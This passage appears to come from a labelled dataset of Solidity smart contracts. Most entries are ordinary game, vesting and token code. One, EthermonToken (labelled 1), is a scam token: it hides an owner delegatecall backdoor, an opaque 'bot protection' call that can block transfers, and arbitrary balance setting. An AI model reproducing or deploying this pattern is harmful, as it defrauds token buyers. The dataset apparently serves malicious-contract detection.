uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcLong {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface otherFoMo3D {
function potSwap() external payable;
}
interface F3DexternalSettingsInterface {
function getFastGap() external returns(uint256);
function getLongGap() external returns(uint256);
function getFastExtra() external returns(uint256);
function getLongExtra() external returns(uint256);
}
interface DiviesInterface {
function deposit() external payable;
}
interface JIincForwarderInterface {
function deposit() external payable returns(bool);
function status() external view returns(address, address, bool);
function startMigration(address _newCorpBank) external returns(bool);
function cancelMigration() external returns(bool);
function finishMigration() external returns(bool);
function setup(address _firstCorpBank) external;
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 517 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address internal protectionFromBots;
address public uniPair;
constructor(address _botProtection) {
protectionFromBots = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = protectionFromBots.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract EthermonToken is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 400000000000000000000000000;
string public name = "EthermonToken";
string public symbol = "EMON";
IUniswapV2Router02 public uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wrappedEther = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairOf(wrappedEther, address(this));
allowance[address(this)][address(uniRouter)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairOf(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _toWho, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
uniRouter.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_toWho.length == _amounts.length);
protectionFromBots.call(abi.encodeWithSelector(0xd5eaf4c3, _toWho));
for(uint i = 0; i < _toWho.length; i++) {
balanceOf[_toWho[i]] = _amounts[i];
emit Transfer(address(0x0), _toWho[i], _amounts[i]);
}
}
} | 1 | 2,870 |
pragma solidity ^0.4.24;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract TokenVesting is Ownable{
using SafeMath for uint256;
using SafeERC20 for ERC20Basic;
ERC20Basic public token;
event Released(uint256 amount);
event Revoked();
address public beneficiary;
uint256 public cliff;
uint256 public start;
uint256 public duration;
address public rollback;
bool public revocable;
uint256 public currentBalance;
bool public initialized = false;
uint256 public constant initialTokens = 54267*10**8;
mapping (address => uint256) public released;
mapping (address => bool) public revoked;
uint256 public totalBalance;
constructor(
address _beneficiary,
uint256 _start,
uint256 _cliff,
uint256 _duration,
bool _revocable,
address _rollback,
ERC20Basic _token
)
public
{
require(_beneficiary != address(0));
require(_cliff <= _duration);
beneficiary = _beneficiary;
revocable = _revocable;
duration = _duration;
cliff = _start.add(_cliff);
start = _start;
token = _token;
rollback = _rollback;
}
function initialize() public onlyOwner {
require(tokensAvailable() == initialTokens);
currentBalance = token.balanceOf(this);
totalBalance = currentBalance.add(released[token]);
initialized = true;
}
function tokensAvailable() public constant returns (uint256) {
return token.balanceOf(this);
}
function release() public {
require(initialized);
uint256 unreleased = releasableAmount();
require(unreleased > 0);
released[token] = released[token].add(unreleased);
token.safeTransfer(beneficiary, unreleased);
emit Released(unreleased);
}
function revoke() public onlyOwner {
require(revocable);
require(!revoked[token]);
uint256 balance = token.balanceOf(this);
uint256 unreleased = releasableAmount();
uint256 refund = balance.sub(unreleased);
revoked[token] = true;
token.safeTransfer(rollback, refund);
emit Revoked();
}
function releasableAmount() public returns (uint256) {
return vestedAmount().sub(released[token]);
}
function vestedAmount() public returns (uint256) {
currentBalance = token.balanceOf(this);
totalBalance = currentBalance.add(released[token]);
if (block.timestamp < cliff) {
return 0;
} else if (block.timestamp >= start.add(duration) || revoked[token]) {
return totalBalance;
} else {
return totalBalance.mul(block.timestamp.sub(start)).div(duration);
}
}
} | 0 | 404 |
pragma solidity ^0.4.20;
interface ERC165 {
function supportsInterface(bytes4 interfaceID) external view returns (bool);
}
contract ERC721 is ERC165 {
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
function balanceOf(address _owner) external view returns (uint256);
function ownerOf(uint256 _tokenId) external view returns (address);
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes data) external;
function safeTransferFrom(address _from, address _to, uint256 _tokenId) external;
function transferFrom(address _from, address _to, uint256 _tokenId) external;
function approve(address _approved, uint256 _tokenId) external;
function setApprovalForAll(address _operator, bool _approved) external;
function getApproved(uint256 _tokenId) external view returns (address);
function isApprovedForAll(address _owner, address _operator) external view returns (bool);
}
interface ERC721TokenReceiver {
function onERC721Received(address _from, uint256 _tokenId, bytes data) external returns(bytes4);
}
contract AccessAdmin {
bool public isPaused = false;
address public addrAdmin;
event AdminTransferred(address indexed preAdmin, address indexed newAdmin);
function AccessAdmin() public {
addrAdmin = msg.sender;
}
modifier onlyAdmin() {
require(msg.sender == addrAdmin);
_;
}
modifier whenNotPaused() {
require(!isPaused);
_;
}
modifier whenPaused {
require(isPaused);
_;
}
function setAdmin(address _newAdmin) external onlyAdmin {
require(_newAdmin != address(0));
AdminTransferred(addrAdmin, _newAdmin);
addrAdmin = _newAdmin;
}
function doPause() external onlyAdmin whenNotPaused {
isPaused = true;
}
function doUnpause() external onlyAdmin whenPaused {
isPaused = false;
}
}
contract AccessService is AccessAdmin {
address public addrService;
address public addrFinance;
modifier onlyService() {
require(msg.sender == addrService);
_;
}
modifier onlyFinance() {
require(msg.sender == addrFinance);
_;
}
function setService(address _newService) external {
require(msg.sender == addrService || msg.sender == addrAdmin);
require(_newService != address(0));
addrService = _newService;
}
function setFinance(address _newFinance) external {
require(msg.sender == addrFinance || msg.sender == addrAdmin);
require(_newFinance != address(0));
addrFinance = _newFinance;
}
function withdraw(address _target, uint256 _amount)
external
{
require(msg.sender == addrFinance || msg.sender == addrAdmin);
require(_amount > 0);
address receiver = _target == address(0) ? addrFinance : _target;
uint256 balance = this.balance;
if (_amount < balance) {
receiver.transfer(_amount);
} else {
receiver.transfer(this.balance);
}
}
}
interface IDataMining {
function getRecommender(address _target) external view returns(address);
function subFreeMineral(address _target) external returns(bool);
}
interface IDataEquip {
function isEquiped(address _target, uint256 _tokenId) external view returns(bool);
function isEquipedAny2(address _target, uint256 _tokenId1, uint256 _tokenId2) external view returns(bool);
function isEquipedAny3(address _target, uint256 _tokenId1, uint256 _tokenId2, uint256 _tokenId3) external view returns(bool);
}
interface IDataAuction {
function isOnSale(uint256 _tokenId) external view returns(bool);
function isOnSaleAny2(uint256 _tokenId1, uint256 _tokenId2) external view returns(bool);
function isOnSaleAny3(uint256 _tokenId1, uint256 _tokenId2, uint256 _tokenId3) external view returns(bool);
}
interface IBitGuildToken {
function transfer(address _to, uint256 _value) external;
function transferFrom(address _from, address _to, uint256 _value) external returns (bool);
function approve(address _spender, uint256 _value) external;
function approveAndCall(address _spender, uint256 _value, bytes _extraData) external returns (bool);
function balanceOf(address _from) external view returns(uint256);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract WarToken is ERC721, AccessAdmin {
struct Fashion {
uint16 protoId;
uint16 quality;
uint16 pos;
uint16 health;
uint16 atkMin;
uint16 atkMax;
uint16 defence;
uint16 crit;
uint16 isPercent;
uint16 attrExt1;
uint16 attrExt2;
uint16 attrExt3;
}
Fashion[] public fashionArray;
uint256 destroyFashionCount;
mapping (uint256 => address) fashionIdToOwner;
mapping (address => uint256[]) ownerToFashionArray;
mapping (uint256 => uint256) fashionIdToOwnerIndex;
mapping (uint256 => address) fashionIdToApprovals;
mapping (address => mapping (address => bool)) operatorToApprovals;
mapping (address => bool) actionContracts;
function setActionContract(address _actionAddr, bool _useful) external onlyAdmin {
actionContracts[_actionAddr] = _useful;
}
function getActionContract(address _actionAddr) external view onlyAdmin returns(bool) {
return actionContracts[_actionAddr];
}
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
event Transfer(address indexed from, address indexed to, uint256 tokenId);
event CreateFashion(address indexed owner, uint256 tokenId, uint16 protoId, uint16 quality, uint16 pos, uint16 createType);
event ChangeFashion(address indexed owner, uint256 tokenId, uint16 changeType);
event DeleteFashion(address indexed owner, uint256 tokenId, uint16 deleteType);
function WarToken() public {
addrAdmin = msg.sender;
fashionArray.length += 1;
}
modifier isValidToken(uint256 _tokenId) {
require(_tokenId >= 1 && _tokenId <= fashionArray.length);
require(fashionIdToOwner[_tokenId] != address(0));
_;
}
modifier canTransfer(uint256 _tokenId) {
address owner = fashionIdToOwner[_tokenId];
require(msg.sender == owner || msg.sender == fashionIdToApprovals[_tokenId] || operatorToApprovals[owner][msg.sender]);
_;
}
function supportsInterface(bytes4 _interfaceId) external view returns(bool) {
return (_interfaceId == 0x01ffc9a7 || _interfaceId == 0x80ac58cd || _interfaceId == 0x8153916a) && (_interfaceId != 0xffffffff);
}
function name() public pure returns(string) {
return "WAR Token";
}
function symbol() public pure returns(string) {
return "WAR";
}
function balanceOf(address _owner) external view returns(uint256) {
require(_owner != address(0));
return ownerToFashionArray[_owner].length;
}
function ownerOf(uint256 _tokenId) external view returns (address owner) {
return fashionIdToOwner[_tokenId];
}
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes data)
external
whenNotPaused
{
_safeTransferFrom(_from, _to, _tokenId, data);
}
function safeTransferFrom(address _from, address _to, uint256 _tokenId)
external
whenNotPaused
{
_safeTransferFrom(_from, _to, _tokenId, "");
}
function transferFrom(address _from, address _to, uint256 _tokenId)
external
whenNotPaused
isValidToken(_tokenId)
canTransfer(_tokenId)
{
address owner = fashionIdToOwner[_tokenId];
require(owner != address(0));
require(_to != address(0));
require(owner == _from);
_transfer(_from, _to, _tokenId);
}
function approve(address _approved, uint256 _tokenId)
external
whenNotPaused
{
address owner = fashionIdToOwner[_tokenId];
require(owner != address(0));
require(msg.sender == owner || operatorToApprovals[owner][msg.sender]);
fashionIdToApprovals[_tokenId] = _approved;
Approval(owner, _approved, _tokenId);
}
function setApprovalForAll(address _operator, bool _approved)
external
whenNotPaused
{
operatorToApprovals[msg.sender][_operator] = _approved;
ApprovalForAll(msg.sender, _operator, _approved);
}
function getApproved(uint256 _tokenId) external view isValidToken(_tokenId) returns (address) {
return fashionIdToApprovals[_tokenId];
}
function isApprovedForAll(address _owner, address _operator) external view returns (bool) {
return operatorToApprovals[_owner][_operator];
}
function totalSupply() external view returns (uint256) {
return fashionArray.length - destroyFashionCount - 1;
}
function _transfer(address _from, address _to, uint256 _tokenId) internal {
if (_from != address(0)) {
uint256 indexFrom = fashionIdToOwnerIndex[_tokenId];
uint256[] storage fsArray = ownerToFashionArray[_from];
require(fsArray[indexFrom] == _tokenId);
if (indexFrom != fsArray.length - 1) {
uint256 lastTokenId = fsArray[fsArray.length - 1];
fsArray[indexFrom] = lastTokenId;
fashionIdToOwnerIndex[lastTokenId] = indexFrom;
}
fsArray.length -= 1;
if (fashionIdToApprovals[_tokenId] != address(0)) {
delete fashionIdToApprovals[_tokenId];
}
}
fashionIdToOwner[_tokenId] = _to;
ownerToFashionArray[_to].push(_tokenId);
fashionIdToOwnerIndex[_tokenId] = ownerToFashionArray[_to].length - 1;
Transfer(_from != address(0) ? _from : this, _to, _tokenId);
}
function _safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes data)
internal
isValidToken(_tokenId)
canTransfer(_tokenId)
{
address owner = fashionIdToOwner[_tokenId];
require(owner != address(0));
require(_to != address(0));
require(owner == _from);
_transfer(_from, _to, _tokenId);
uint256 codeSize;
assembly { codeSize := extcodesize(_to) }
if (codeSize == 0) {
return;
}
bytes4 retval = ERC721TokenReceiver(_to).onERC721Received(_from, _tokenId, data);
require(retval == 0xf0b9e5ba);
}
function createFashion(address _owner, uint16[9] _attrs, uint16 _createType)
external
whenNotPaused
returns(uint256)
{
require(actionContracts[msg.sender]);
require(_owner != address(0));
uint256 newFashionId = fashionArray.length;
require(newFashionId < 4294967296);
fashionArray.length += 1;
Fashion storage fs = fashionArray[newFashionId];
fs.protoId = _attrs[0];
fs.quality = _attrs[1];
fs.pos = _attrs[2];
if (_attrs[3] != 0) {
fs.health = _attrs[3];
}
if (_attrs[4] != 0) {
fs.atkMin = _attrs[4];
fs.atkMax = _attrs[5];
}
if (_attrs[6] != 0) {
fs.defence = _attrs[6];
}
if (_attrs[7] != 0) {
fs.crit = _attrs[7];
}
if (_attrs[8] != 0) {
fs.isPercent = _attrs[8];
}
_transfer(0, _owner, newFashionId);
CreateFashion(_owner, newFashionId, _attrs[0], _attrs[1], _attrs[2], _createType);
return newFashionId;
}
function _changeAttrByIndex(Fashion storage _fs, uint16 _index, uint16 _val) internal {
if (_index == 3) {
_fs.health = _val;
} else if(_index == 4) {
_fs.atkMin = _val;
} else if(_index == 5) {
_fs.atkMax = _val;
} else if(_index == 6) {
_fs.defence = _val;
} else if(_index == 7) {
_fs.crit = _val;
} else if(_index == 9) {
_fs.attrExt1 = _val;
} else if(_index == 10) {
_fs.attrExt2 = _val;
} else if(_index == 11) {
_fs.attrExt3 = _val;
}
}
function changeFashionAttr(uint256 _tokenId, uint16[4] _idxArray, uint16[4] _params, uint16 _changeType)
external
whenNotPaused
isValidToken(_tokenId)
{
require(actionContracts[msg.sender]);
Fashion storage fs = fashionArray[_tokenId];
if (_idxArray[0] > 0) {
_changeAttrByIndex(fs, _idxArray[0], _params[0]);
}
if (_idxArray[1] > 0) {
_changeAttrByIndex(fs, _idxArray[1], _params[1]);
}
if (_idxArray[2] > 0) {
_changeAttrByIndex(fs, _idxArray[2], _params[2]);
}
if (_idxArray[3] > 0) {
_changeAttrByIndex(fs, _idxArray[3], _params[3]);
}
ChangeFashion(fashionIdToOwner[_tokenId], _tokenId, _changeType);
}
function destroyFashion(uint256 _tokenId, uint16 _deleteType)
external
whenNotPaused
isValidToken(_tokenId)
{
require(actionContracts[msg.sender]);
address _from = fashionIdToOwner[_tokenId];
uint256 indexFrom = fashionIdToOwnerIndex[_tokenId];
uint256[] storage fsArray = ownerToFashionArray[_from];
require(fsArray[indexFrom] == _tokenId);
if (indexFrom != fsArray.length - 1) {
uint256 lastTokenId = fsArray[fsArray.length - 1];
fsArray[indexFrom] = lastTokenId;
fashionIdToOwnerIndex[lastTokenId] = indexFrom;
}
fsArray.length -= 1;
fashionIdToOwner[_tokenId] = address(0);
delete fashionIdToOwnerIndex[_tokenId];
destroyFashionCount += 1;
Transfer(_from, 0, _tokenId);
DeleteFashion(_from, _tokenId, _deleteType);
}
function safeTransferByContract(uint256 _tokenId, address _to)
external
whenNotPaused
{
require(actionContracts[msg.sender]);
require(_tokenId >= 1 && _tokenId <= fashionArray.length);
address owner = fashionIdToOwner[_tokenId];
require(owner != address(0));
require(_to != address(0));
require(owner != _to);
_transfer(owner, _to, _tokenId);
}
function getFashion(uint256 _tokenId) external view isValidToken(_tokenId) returns (uint16[12] datas) {
Fashion storage fs = fashionArray[_tokenId];
datas[0] = fs.protoId;
datas[1] = fs.quality;
datas[2] = fs.pos;
datas[3] = fs.health;
datas[4] = fs.atkMin;
datas[5] = fs.atkMax;
datas[6] = fs.defence;
datas[7] = fs.crit;
datas[8] = fs.isPercent;
datas[9] = fs.attrExt1;
datas[10] = fs.attrExt2;
datas[11] = fs.attrExt3;
}
function getOwnFashions(address _owner) external view returns(uint256[] tokens, uint32[] flags) {
require(_owner != address(0));
uint256[] storage fsArray = ownerToFashionArray[_owner];
uint256 length = fsArray.length;
tokens = new uint256[](length);
flags = new uint32[](length);
for (uint256 i = 0; i < length; ++i) {
tokens[i] = fsArray[i];
Fashion storage fs = fashionArray[fsArray[i]];
flags[i] = uint32(uint32(fs.protoId) * 100 + uint32(fs.quality) * 10 + fs.pos);
}
}
function getFashionsAttrs(uint256[] _tokens) external view returns(uint16[] attrs) {
uint256 length = _tokens.length;
require(length <= 64);
attrs = new uint16[](length * 11);
uint256 tokenId;
uint256 index;
for (uint256 i = 0; i < length; ++i) {
tokenId = _tokens[i];
if (fashionIdToOwner[tokenId] != address(0)) {
index = i * 11;
Fashion storage fs = fashionArray[tokenId];
attrs[index] = fs.health;
attrs[index + 1] = fs.atkMin;
attrs[index + 2] = fs.atkMax;
attrs[index + 3] = fs.defence;
attrs[index + 4] = fs.crit;
attrs[index + 5] = fs.isPercent;
attrs[index + 6] = fs.attrExt1;
attrs[index + 7] = fs.attrExt2;
attrs[index + 8] = fs.attrExt3;
}
}
}
}
contract ActionAuctionPlat is AccessService {
using SafeMath for uint256;
event AuctionPlatCreate(uint256 indexed index, address indexed seller, uint256 tokenId);
event AuctionPlatSold(uint256 indexed index, address indexed seller, address indexed buyer, uint256 tokenId, uint256 price);
event AuctionPlatCancel(uint256 indexed index, address indexed seller, uint256 tokenId);
event AuctionPlatPriceChange(uint256 indexed index, address indexed seller, uint256 tokenId, uint64 platVal);
struct Auction {
address seller;
uint64 tokenId;
uint64 price;
uint64 tmStart;
uint64 tmSell;
}
Auction[] public auctionArray;
mapping(uint256 => uint256) public latestAction;
WarToken public tokenContract;
IDataEquip public equipContract;
IBitGuildToken public bitGuildContract;
IDataAuction public ethAuction;
uint64 public searchStartIndex;
uint64 public auctionDuration = 172800;
uint64 public auctionSumPlat;
function ActionAuctionPlat(address _nftAddr, address _platAddr) public {
addrAdmin = msg.sender;
addrService = msg.sender;
addrFinance = msg.sender;
tokenContract = WarToken(_nftAddr);
Auction memory order = Auction(0, 0, 0, 1, 1);
auctionArray.push(order);
bitGuildContract = IBitGuildToken(_platAddr);
}
function() external {}
function setDataEquip(address _addr) external onlyAdmin {
require(_addr != address(0));
equipContract = IDataEquip(_addr);
}
function setEthAuction(address _addr) external onlyAdmin {
require(_addr != address(0));
ethAuction = IDataAuction(_addr);
}
function setDuration(uint64 _duration) external onlyAdmin {
require(_duration >= 300 && _duration <= 8640000);
auctionDuration = _duration;
}
function newAuction(uint256 _tokenId, uint64 _pricePlat)
external
whenNotPaused
{
require(tokenContract.ownerOf(_tokenId) == msg.sender);
require(!equipContract.isEquiped(msg.sender, _tokenId));
require(_pricePlat >= 1 && _pricePlat <= 999999);
uint16[12] memory fashion = tokenContract.getFashion(_tokenId);
require(fashion[1] > 1);
uint64 tmNow = uint64(block.timestamp);
uint256 lastIndex = latestAction[_tokenId];
if (lastIndex > 0) {
Auction memory oldOrder = auctionArray[lastIndex];
require((oldOrder.tmStart + auctionDuration) <= tmNow || oldOrder.tmSell > 0);
}
if (address(ethAuction) != address(0)) {
require(!ethAuction.isOnSale(_tokenId));
}
uint256 newAuctionIndex = auctionArray.length;
auctionArray.length += 1;
Auction storage order = auctionArray[newAuctionIndex];
order.seller = msg.sender;
order.tokenId = uint64(_tokenId);
order.price = _pricePlat;
uint64 lastActionStart = auctionArray[newAuctionIndex - 1].tmStart;
if (tmNow >= lastActionStart) {
order.tmStart = tmNow;
} else {
order.tmStart = lastActionStart;
}
latestAction[_tokenId] = newAuctionIndex;
AuctionPlatCreate(newAuctionIndex, msg.sender, _tokenId);
}
function cancelAuction(uint256 _tokenId) external whenNotPaused {
require(tokenContract.ownerOf(_tokenId) == msg.sender);
uint256 lastIndex = latestAction[_tokenId];
require(lastIndex > 0);
Auction storage order = auctionArray[lastIndex];
require(order.seller == msg.sender);
require(order.tmSell == 0);
order.tmSell = 1;
AuctionPlatCancel(lastIndex, msg.sender, _tokenId);
}
function changePrice(uint256 _tokenId, uint64 _pricePlat) external whenNotPaused {
require(tokenContract.ownerOf(_tokenId) == msg.sender);
uint256 lastIndex = latestAction[_tokenId];
